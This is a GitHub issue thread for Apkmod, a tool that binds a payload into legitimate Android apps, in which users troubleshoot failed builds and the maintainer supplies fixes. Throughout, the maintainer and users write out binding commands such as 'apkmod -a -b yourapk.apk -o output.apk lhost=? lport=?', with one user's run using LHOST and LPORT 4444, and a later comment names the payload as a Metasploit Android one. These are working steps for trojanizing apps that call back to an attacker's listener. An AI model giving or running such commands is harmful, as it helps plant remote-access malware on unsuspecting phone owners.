Hax4us / Apkmod

Apkmod can decompile, recompile, sign APK, and bind the payload with any legit APP
GNU General Public License v3.0
730 stars 98 forks source link

Unable to rebuild apk with apktool #10

Closed Chingo-X closed 5 years ago

Chingo-X commented 5 years ago

Screenshot_20190930-164315_Termux After ~ 1h and 30 mins for binding apk only 3 mbs it failed .

Any solve plz ? Thanks

Hax4us commented 5 years ago

You should try -a option for example apkmod -a -b yourapk.apk -o output.apk lhost=? lport=? Btw what's name of original app ?

Chingo-X commented 5 years ago

You should try -a option for example apkmod -a -b yourapk.apk -o output.apk lhost=? lport=? Btw what's name of original app ?

Well I used same ur code with -a as u typed here and still says same bug

Note : why it's always takes very much time ? I just using app 3 mbs only to binding payload and take like 2 hrs it's normally ? Screenshot_20191001-013430_Termux Screenshot_20191001-013128_Termux

Hax4us commented 5 years ago

2 hrs ? No it's not normal and please give your app-release.apk

Chingo-X commented 5 years ago

[app-release.zip](https://github.com/Hax4us/Apkmod/files/3674509/app-release.zip

Hax4us commented 5 years ago

Closed via https://github.com/Hax4us/Apkmod/commit/c1b151972934324f8615c72f60684a678c20b24a Update apkmod by apkmod -u and don't forget to use -a option

Hax4us commented 5 years ago

Try this before binding rm $PREFIX/share/TermuxAlpine/root/.local/share/apktool/framework/1.apk Then bind with -a

Hax4us commented 5 years ago

Now do apkmod -u And no you can't use tmux bunch on your pie

Chingo-X commented 5 years ago

First thing, this code giving me error rm $PREFIX/share/TermuxAlpine/root/.local/share/apktool/framework/1.apk Cuz no .Local path even, I checked even with ls -alt to see if it's hidden or not And I update and its not binding even Screenshot_20191002-113432_Termux

Hax4us commented 5 years ago

I can't reproduce your problem as It's working well in my device Screenshot_2019-10-02-15-33-20-648_com termux

Can you do like this and give screenshot here sh -x $(which apkmod) -a -b .........

Chingo-X commented 5 years ago

Screenshot_20191002-123027_Termux Screenshot_20191002-123033_Termux Screenshot_20191002-123005_Termux

This everything And I found another user have same my probs .

Hax4us commented 5 years ago

I did not say to execute/copy my example You must do like sh -x $(which apkmod) -a -b yourap.apk -o bind.apk lhost=? lport=?

Chingo-X commented 5 years ago

How to fully uninstall the tool ?

Hax4us commented 5 years ago

just do

  1. rm $(which apkmod)
  2. rm -rf $PREFIX/share/TermuxAlpine
  3. rm -f $HOME/setup.sh
Chingo-X commented 5 years ago

I did not say to execute/copy my example You must do like sh -x $(which apkmod) -a -b yourap.apk -o bind.apk lhost=? lport=?

Screenshot_20191002-180127_Termux

Chingo-X commented 5 years ago

just do

  1. rm $(which apkmod)
  2. rm -rf $PREFIX/share/TermuxAlpine
  3. rm -f $HOME/setup.sh

I tried to fully clear and reinstall it again but same and up to 3hrs Screenshot_20191002-180116_Termux

Hax4us commented 5 years ago

@Chingo-X what's the output of termux-info

Chingo-X commented 5 years ago

@Chingo-X what's the output of termux-info

Screenshot_20191008-011503_Termux Here u are

Baloch121 commented 5 years ago

i am also facing an issue like jt shows this msg when i bind

apkmod -a -b /sdcard/gps.apk -o /sdcard/pc/binded.apk LHOST=192.168.I.101 LPORT=4444 [] Binding /storage/emulated/0/gps.apk /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead. Using APK template: /storage/emulated/0/gps.apk Error: The following options failed to validate: LHOST. [!] Try again with -a option But if still can't bind, take screenshot and open a issue on github $ apkmod -a -b /sdcard/gps.apk -o /sdcard/pc/binded.apk LHOST=127.0.0.1 LPORT=4444 [] Binding /storage/emulated/0/gps.apk /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead. Using APK template: /storage/emulated/0/gps.apk [*] Decompiling original APK..

Baloch121 commented 5 years ago

the same msg dsplye when i use msfconsole installed by ur script .

/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.

Hax4us commented 5 years ago

@Baloch121 your lhost is invalid as you can see the same in error @Chingo-X can you test now after updating to version 1.4

Chingo-X commented 5 years ago

@Baloch121 your lhost is invalid as you can see the same in error @Chingo-X can you test now after updating to version 1.4 Still getting errors Screenshot_20191029-005802_Termux Screenshot_20191029-005820_Termux

Hax4us commented 5 years ago

I committed some changes ( only for aarch64 ) today , can you update again by apkmod -u If you have any other arch instead of aarch64 then wait , I will also upload aapt2 for all rest archs with in 24 hour

Chingo-X commented 5 years ago

I committed some changes ( only for aarch64 ) today , can you update again by apkmod -u If you have any other arch instead of aarch64 then wait , I will also upload aapt2 for all rest archs with in 24 hour

I am arm

Chingo-X commented 5 years ago

Screenshot_20191029-122856_Niagara_Launcher However this is after update

Hax4us commented 5 years ago

i am arm

Done now you can update

Chingo-X commented 5 years ago

i am arm

Done now you can update

Finally it's done on this APK !!!! But I still need to test another apps ! Also it's still takes long time to compile but np it's working ! Screenshot_20191030-114955_Termux

ghost commented 2 years ago

Screenshot_2022-02-15-04-25-14-29_84d3000e3f4017145260f7618db1d683

Is anyone know how to solve this prob..im so confuse...i cant rebuild the metasploit android payload after i decompile it (btw i didnt do any changes after i decompile the apk)